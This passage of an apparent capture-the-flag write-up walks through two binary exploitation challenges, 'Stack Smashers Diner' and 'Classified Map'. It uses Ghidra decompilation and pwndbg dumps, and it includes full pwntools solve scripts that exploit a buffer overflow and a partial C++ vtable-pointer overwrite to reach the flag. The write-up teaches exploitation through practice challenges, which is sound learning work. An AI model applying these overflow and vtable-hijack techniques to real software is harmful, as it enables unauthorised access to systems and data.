0x408400:       0x0000000000000000      0x0000000000000000
0x408410:       0x0000000000000000      0x0000000000000000

pwndbg> x/s 0x4083b0
0x4083b0:       "Chef Malloc"
pwndbg> x/6gx 0x00000000004071e0  #pointer at c2[6]
0x4071e0:       0x0000000000407020      0x0000000000000006
0x4071f0:       0x00000000004071a0      0x0000000000000001
0x407200 <stdout>:      0x00007ffff7fa35c0      0x0000000000000000

pwndbg> x/s 0x0000000000407020  #menu start
0x407020:       "Stack Overflow Stew"

Now, we just need to figure out how to pass all the checks.
Let’s start with trying to get a deterministic output from the random item pick

1
2
random = rand();
local_14c = (int)((ulong)(long)random % *(ulong *)(c2[6] + 8))

The program calculates random % *(c2[6]+8). Originally, *(c2[6]+8) is equal to 6 (cus theres 6 menu items). If we want the same item to be used every time, this value needs to be 1 as n%1 = 0.
VERY CONVENIENTLY, the program is giving this to us for FREE.
take a look

1
2
3
4
5
6
pwndbg> x/6gx 0x00000000004071e0  #pointer at c2[6]
0x4071e0:       0x0000000000407020      0x0000000000000006
0x4071f0:       0x00000000004071a0      0x0000000000000001
0x407200 <stdout>:      0x00007ffff7fa35c0      0x0000000000000000
pwndbg> x/s 0x00000000004071a0
0x4071a0:       "Cyberthon 2025 Flag"

If c2[6] had the value 0x4071f0, *(c2[6]+8) would be 1 giving us deterministic selection!
AND just so happens that *(c2[6]) would ALSO POINT DIRECTLY TO OUR FLAG!!!
So, as our β€œrandom item choice” would now always be the first item in the menu, and our menu starts from our flag, we would win our flag :) yay
Now, lets check how much exp we need.

1
2
3
local_14c = (int)((ulong)(long)random % *(ulong *)(c2[6] + 8));
local_138 = (char *)((long)local_14c * 0x3c + *(long *)c2[6]);
cVar1 = check_exp(c2,*(undefined4 *)((long)local_14c * 0x3c + *(long *)c2[6] + 0x18));

Looking at the check_exp function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
undefined8 check_exp(long c2,int exp)

{
  undefined8 uVar1;
  
  exp = *(int *)(c2 + 0x20) - exp;
  if (exp < 4) {
    if (exp < -3) {
      show_content(1,
                   "\nYou let the chef cook the dish, but due to inexperience it was the chef that g ot cooked instead...\n"
                  );
      uVar1 = 1;
    }
    else {
      uVar1 = 0;
    }
  }
  else {
    show_content(1,
                 "\nFor some reason, our chef is overly confident today and may have cooked a little  too hard.\n"
                );
    uVar1 = 1;
  }
  return uVar1;
}

It calculates exp = our_exp - exp_needed. exp needs to be withint the range -3<=exp<=3 to be accepted.
exp_needed is located at *(undefined4 *)((long)local_14c * 0x3c + *(long *)c2[6] + 0x18), which in nicer terms means menu[index_of_menu_item][location_of_exp]. local_14c*0x3c is the idx (for us we control it to be 0), so we just need to look at *(c2[6]) + 0x18 for our exp.

1
2
pwndbg> x/gx 0x00000000004071a0+0x18
0x4071b8:       0x6573204100007a69

As our exp is typecasted to undefined4 it uses only the last 4 bytes, exp needed is 0x7a69.
AND NOW, we have everything that we need to craft our payload.

Full Solve Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from sys import argv
import struct

context.binary = ELF('./stacksmashersdiner')
e = context.binary
if len(argv) > 1:
    ip, port = argv[1].split(":")
    conn = lambda: remote(ip, port)
else:
    conn = lambda: e.process()
p = conn()
p.sendline(b'')
p.sendlineafter(b'Exit diner',b'3')
# print('hey')
c1_size = 0x4083a0+8 - 0x4082a0 #264
print(hex(c1_size))
canary = 0xdeadbeefcafebabe
#fill null bytes, 0x41 chunk size field, fill up name and empty space, set exp, preserve canary, change pointer to menu pointer
payload = b'\x00'*c1_size+p64(0x41)+p64(0)*4+p64(0x7a69)+p64(canary)+p64(0x4071f0)
p.sendlineafter(b'restrictions?',payload)
p.interactive()

Classified Map

This is a C++ pwn. Similar to stack smashers diner you have an overflow that can be used to overwrite data, but this time you change the vtable pointer so you can get your desired conditions to win. Once again, a lot of poking around in ghidra/gdb was needed to figure this out.

Challenge protections

map

Solve

First, analyzing the program

1
2
3
4
5
6
7
8
9
10
11
12
13
Welcome to the Vault. You may securely store your messages here!

Options:
  1. List Messages
  2. Read Message
  3. Create new Message
  4. Edit Message
  5. Load Message
  6. Display username
  7. Change username
  8. Exit

Select an option:

We are able to list messages, load a message to read, create a new message or edit a message.
We can also display/change our username.

1
2
3
4
5
6
7
Select an option:
1

Message List:
  1. Hello
  2. Lore

Currently we can only see 2 mesaages listed, so lets throw the program into ghidra to get more context.
As the decompilation is messy, I will only show a somewhat cleaner version here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int main(void)
{
    loadSec();                              // set up global canary
    Workspace *ws = new Workspace("Guest", /*uid=*/1);
    workspace = ws;                         // global pointer
    MessageStore *store = ws->msgStore();
    hysteresis(store);                      // populate initial messages
    ws->runner();                           // enter main loop
    delete ws;
    return 0;
}
void hysteresis(MessageStore *store)
{
    Message msg1;
    msg1.message_id = 1;  msg1.user_id = 1;
    msg1.message    = "Welcome to the message vault!";
    msg1.synopsis   = "Hello";
    store->addMessage(&msg1);

    Message msg2;
    msg2.message_id = 2;  msg2.user_id = 3;
    msg2.message    = "Here be dragons :O   Cyberthon{i-am-a-flag}";
    msg2.synopsis   = "what is this?";
    store->addMessage(&msg2);

    Message msg3;
    msg3.message_id = 4;  msg3.user_id = 1;
    msg3.message    = "The sages of old say that the legendary dread pirate Captain Bytebeard's "
                      "treasure trove was beyond description ... [lore text] ... "
                      "Treasure Hunter! Can you unearth the path to the mythical haul?";
    msg3.synopsis   = "Lore";
    store->addMessage(&msg3);
}

Messages are stored in MessageStore as Message objects. We can see that the message with the flag has user_id set to 3. MessageStore is inside the Workspace class.
Initially, our username is set as β€œguest” and our user_id is set to 1, so we are unable to view the flag message.
Thus, the goal is to somehow change our user_id to be 3.

Overflow

Anyways we can find our overflow in the updateSynopsis function (so it would be option 4)

1
2
3
4
5
6
7
8
9
10
11
12
13
void __thiscall Message::updateSynopsis(Message *this,char *text)

{
  size_t sVar1;
  char *text_local;
  Message *this_local;
  uint length;
  
  sVar1 = strlen(text);
  memset(this->synopsis,0,0x20);
  memcpy(this->synopsis,text,sVar1 & 0xffffffff);
  return;
}

The length of our string input is not checked, and is read into Message.Synopsis
To get a better understanding of what we can overwrite, we can take a look in GDB.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from sys import argv

e = context.binary = ELF('./classified-map')
if len(argv) > 1:
    ip, port = argv[1].split(":")
    conn = lambda: remote(ip, port)
else:
    conn = lambda: e.process()

p = conn()
gdb.attach(p,gdbscript="""
set disassemble-next-line on
b Message::updateSynopsis
b Workspace::findMessagesByCurrentUser
c
""")
p.sendlineafter(b'option:\n',b'5')
p.sendlineafter(b'Index:',b'1') #choose message

p.sendlineafter(b'option:\n',b'4') #synopsis overflow
p.sendlineafter(b'option:\n',b'2') #title
p.sendlineafter(b'title:\n',b'AAAAAAAA')

At our first breakpoint at UpdateSynopsis

1
2
3
4
5
6
7
8
9
pwndbg> p/x workspace
$1 = 0x55d120d0e2b0
pwndbg> p/x this
$2 = 0x55d120d0e2b0
pwndbg> x $rsi
0x55d120d0e580: 0x41414141
pwndbg> x/gx $rsi
0x55d120d0e580: 0x4141414141414141
pwndbg>

For easier analysis, we can save our workspace address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> set $wb = (char*)workspace
pwndbg> p $wb
$4 = 0x55d120d0e2b0 ""
pwndbg> x/gx $wb+0x40
0x55d120d0e2f0: 0x000055d0ef46fd20
pwndbg> x/s $wb+0x50
0x55d120d0e300: "Guest"
pwndbg> x/16gx $wb+0x20
0x55d120d0e2d0: 0x0000006f6c6c6548      0x0000000000000000
0x55d120d0e2e0: 0x0000000000000000      0x0000000000000000
0x55d120d0e2f0: 0x000055d0ef46fd20      0x0000000000000000
0x55d120d0e300: 0x0000007473657547      0x0000000000000000
0x55d120d0e310: 0x0000000000000000      0x0000000000000000
0x55d120d0e320: 0xffffffff00000001      0x0000000000000000
0x55d120d0e330: 0x0000000000000000      0x0000000000000000
0x55d120d0e340: 0x0000000000000000      0x4e55d8fe197e007a

What these are:

  • $wb+0x20 = Message synopsis start
  • $wb+0x40 = embedded User vptr
  • $wb+0x50 = embedded User username bytes
    Continuing execution
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    
    pwndbg> x/16gx $wb+0x20
    0x55d120d0e2d0: 0x4141414141414141      0x0000000000000000
    0x55d120d0e2e0: 0x0000000000000000      0x0000000000000000
    0x55d120d0e2f0: 0x000055d0ef46fd20      0x0000000000000000
    0x55d120d0e300: 0x0000007473657547      0x0000000000000000
    0x55d120d0e310: 0x0000000000000000      0x0000000000000000
    0x55d120d0e320: 0xffffffff00000001      0x0000000000000000
    0x55d120d0e330: 0x0000000000000000      0x0000000000000000
    0x55d120d0e340: 0x0000000000000000      0x4e55d8fe197e007a
    pwndbg> x 0x000055d0ef46fd20
    0x55d0ef46fd20 <_ZTV9Workspace+304>:    0x000055d0ef4410ca
    

    $wb+0x20 is indeed the start of our buffer. The only notable thing nearby is this 0x000055d0ef46fd20 pointer.
    taking a closer look

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    
    pwndbg> x/10gx 0x000055d0ef46fd20
    0x55d0ef46fd20 <_ZTV9Workspace+304>:    0x000055d0ef4410ca      0x000055d0ef4410ff
    0x55d0ef46fd30 <_ZTV9Workspace+320>:    0x000055d0ef440d06      0x000055d0ef440d18
    0x55d0ef46fd40 <_ZTV9Workspace+336>:    0x000055d0ef440d2a      0x000055d0ef440d3c
    0x55d0ef46fd50 <_ZTV9Workspace+352>:    0x000055d0ef440d4e      0x000055d0ef440dc4
    0x55d0ef46fd60 <_ZTV9Workspace+368>:    0x000055d0ef440e60      0x000055d0ef440e78
    pwndbg> x 0x000055d0ef4410ca
    0x55d0ef4410ca <_ZThn64_N9WorkspaceD1Ev>:       0xffff5fe940ef8348
    pwndbg> x 0x000055d0ef4410ca
    0x55d0ef4410ca <_ZThn64_N9WorkspaceD1Ev>:       0xffff5fe940ef8348
    pwndbg> x 0x000055d0ef440d06
    0x55d0ef440d06 <_ZN4User11getUsernameEv>:       0xf87d8948e5894855
    pwndbg> x 0x000055d0ef440d18
    0x55d0ef440d18 <_ZN4User6getBioEv>:     0xf87d8948e5894855
    pwndbg> x 0x000055d0ef440d2a
    0x55d0ef440d2a <_ZNK4User6getUIDEv>:    0xf87d8948e5894855
    pwndbg> x 0x000055d0ef440d3c
    0x55d0ef440d3c <_ZNK4User11getUserTypeEv>:      0xf87d8948e5894855
    pwndbg> x 0x000055d0ef440d4e
    0x55d0ef440d4e <_ZN4User11setUsernameEPKc>:     0x20ec8348e5894855
    pwndbg> x 0x000055d0ef440dc4
    0x55d0ef440dc4 <_ZN4User6setBioEPKc>:   0x20ec8348e5894855
    pwndbg> x 0x000055d0ef440e60
    0x55d0ef440e60 <_ZN4User6setUIDEi>:     0xf87d8948e5894855
    pwndbg> x 0x000055d0ef440e78
    0x55d0ef440e78 <_ZN4User11setUserTypeEi>:       0xf87d8948e5894855
    pwndbg> x 0x00007f52fc0c6ca8
    0x7f52fc0c6ca8 <_ZTVN10__cxxabiv121__vmi_class_type_infoE+16>:  0x00007f52fbf148c0
    pwndbg> x 0x000055d0ef4506e0
    0x55d0ef4506e0 <_ZTS9Workspace>:        0x6170736b726f5739
    

    0x000055d0ef46fd20 points to the User vtable that contain function pointers like getUsername, getBIO, getUID, getUserType etc etc.
    We are more interested in the getUID function, which is the 5th function in the vtable (remember this!).

1
2
3
4
5
6
7
int __thiscall User::getUID(User *this)

{
  User *this_local;
  
  return this->uid;
}

Looking at the User in gdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
void __thiscall User::User(User *this,char *name)

{
  size_t sVar1;
  char *name_local;
  User *this_local;
  int length;
  
  this->_vptr.User = (_func_int_varargs **)&PTR_~User_0013fb28;
  this->bio = (char *)0x0;
  this->username[0] = '\0';
  this->username[1] = '\0';
  this->username[2] = '\0';
  this->username[3] = '\0';
  this->username[4] = '\0';
  this->username[5] = '\0';
  this->username[6] = '\0';
  this->username[7] = '\0';
  this->username[8] = '\0';
  this->username[9] = '\0';
  this->username[10] = '\0';
  this->username[0xb] = '\0';
  this->username[0xc] = '\0';
  this->username[0xd] = '\0';
  this->username[0xe] = '\0';
  this->username[0xf] = '\0';
  this->username[0x10] = '\0';
  this->username[0x11] = '\0';
  this->username[0x12] = '\0';
  this->username[0x13] = '\0';
  this->username[0x14] = '\0';
  this->username[0x15] = '\0';
  this->username[0x16] = '\0';
  this->username[0x17] = '\0';
  this->username[0x18] = '\0';
  this->username[0x19] = '\0';
  this->username[0x1a] = '\0';
  this->username[0x1b] = '\0';
  this->username[0x1c] = '\0';
  this->username[0x1d] = '\0';
  this->username[0x1e] = '\0';
  this->username[0x1f] = '\0';
  this->uid = -1;
  this->type = -1;
  sVar1 = strlen(name);
  if (sVar1 + 1 < 0x21) {
    strlen(name);
  }
  memset(this->username,0,0x20);
  strcpy(this->username,name);
  return;
}

A cleaner version looks like this

1
2
3
4
5
6
offset
0x00 vptr (User vtable)
0x08 bio (char *)
0x10 username[32]
0x30 uid (int)
0x34 type (int)

So getUID is accessing User+0x30
Anyways, so now we need to figure out what exactly we want to overwrite this User pointer to.
After much poking around, I finally found something useful in Message.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/* DWARF original prototype: void Message(Message * this) */

void __thiscall Message::Message(Message *this)

{
  Message *this_local;
  
  this->_vptr.Message = (_func_int_varargs **)&PTR_~Message_0013fa98;
  this->length = 0;
  this->message_id = 0;
  this->user_id = 0;
  this->message = (char *)0x0;
  this->synopsis[0] = '\0';
  this->synopsis[1] = '\0';
  this->synopsis[2] = '\0';
  this->synopsis[3] = '\0';
  this->synopsis[4] = '\0';
  this->synopsis[5] = '\0';
  this->synopsis[6] = '\0';
  this->synopsis[7] = '\0';
  this->synopsis[8] = '\0';
  this->synopsis[9] = '\0';
  this->synopsis[10] = '\0';
  this->synopsis[0xb] = '\0';
  this->synopsis[0xc] = '\0';
  this->synopsis[0xd] = '\0';
  this->synopsis[0xe] = '\0';
  this->synopsis[0xf] = '\0';
  this->synopsis[0x10] = '\0';
  this->synopsis[0x11] = '\0';
  this->synopsis[0x12] = '\0';
  this->synopsis[0x13] = '\0';
  this->synopsis[0x14] = '\0';
  this->synopsis[0x15] = '\0';
  this->synopsis[0x16] = '\0';
  this->synopsis[0x17] = '\0';
  this->synopsis[0x18] = '\0';
  this->synopsis[0x19] = '\0';
  this->synopsis[0x1a] = '\0';
  this->synopsis[0x1b] = '\0';
  this->synopsis[0x1c] = '\0';
  this->synopsis[0x1d] = '\0';
  this->synopsis[0x1e] = '\0';
  this->synopsis[0x1f] = '\0';
  return;
}

Essentially, Message is layed out as so

1
2
3
4
5
6
7
offset
0x00 message vptr
0x08 length 
0x0c message_id
0x10 user_id
0x18 message
0x20 synopsis

Message also has its own function to retrive the user_id

1
2
3
4
5
6
7
uint __thiscall Message::getUserID(Message *this)

{
  Message *this_local;
  
  return this->user_id;
}

getUserID accesses Message+0x10 for the user_id.
HMMM… remember what was at User+0x10? Its none other than the username array!
If we can somehow get workspace to call getUserID on the User, AND we control username to be 3, we would be able to control our user_id to be 3 also!
Because getUID is the 5th pointer in the User vtable, we need to make sure that when we overwrite that value, the 5th pointer points to getUserID instead.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
        0013fad0 24 09 11        addr       Message::readMessage
                 00 00 00 
                 00 00
        0013fad8 36 09 11        addr       Message::readSynopsis
                 00 00 00 
                 00 00
        0013fae0 48 09 11        addr       Message::getMessageID
                 00 00 00 
                 00 00
        0013fae8 5a 09 11        addr       Message::setMessageID
                 00 00 00 
                 00 00
        0013faf0 72 09 11        addr       Message::getUserID
                 00 00 00 
                 00 00

5 addresses above getUserID would be at base + 0xfad0. Because of PIE, we can just overwrite the last 4 bytes of 0x000055d0ef46fd20 to be 0xfad0.
Putting it all together our steps will be

  1. change username to β€˜\x03’
  2. overflow and overwrite last 4 bytes of User vtable to point into Message vtable
  3. list and view flag

Full Solve Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python3
from pwn import *
from sys import argv

e = context.binary = ELF('./classified-map')
if len(argv) > 1:
    ip, port = argv[1].split(":")
    conn = lambda: remote(ip, port)
else:
    conn = lambda: e.process()

p = conn()
# gdb.attach(p,gdbscript="""
# set disassemble-next-line on
# b Message::updateSynopsis
# b Workspace::findMessagesByCurrentUser
# c
# """)

p.sendlineafter(b'option:\n',b'7')
p.sendlineafter(b'username:\n',b'\x03') #change username

p.sendlineafter(b'option:\n',b'5')
p.sendlineafter(b'Index:',b'1') #choose message

p.sendlineafter(b'option:\n',b'4') #synopsis overflow
p.sendlineafter(b'option:\n',b'2') #title
payload = b'A'*32 + p16(0xfad0)
p.sendlineafter(b'title:\n',payload)
p.sendlineafter(b'option:\n',b'4') #exit to menu

#list and view the flag
p.sendlineafter(b'option:\n',b'1')
p.sendlineafter(b'option:\n',b'5')
p.sendlineafter(b'Index:\n',b'1')
p.sendlineafter(b'option:\n',b'2')
leak = p.recvuntil(b'Options:',drop = True)
print(leak.decode())

p.interactive()
This post is licensed under CC BY 4.0 by the author.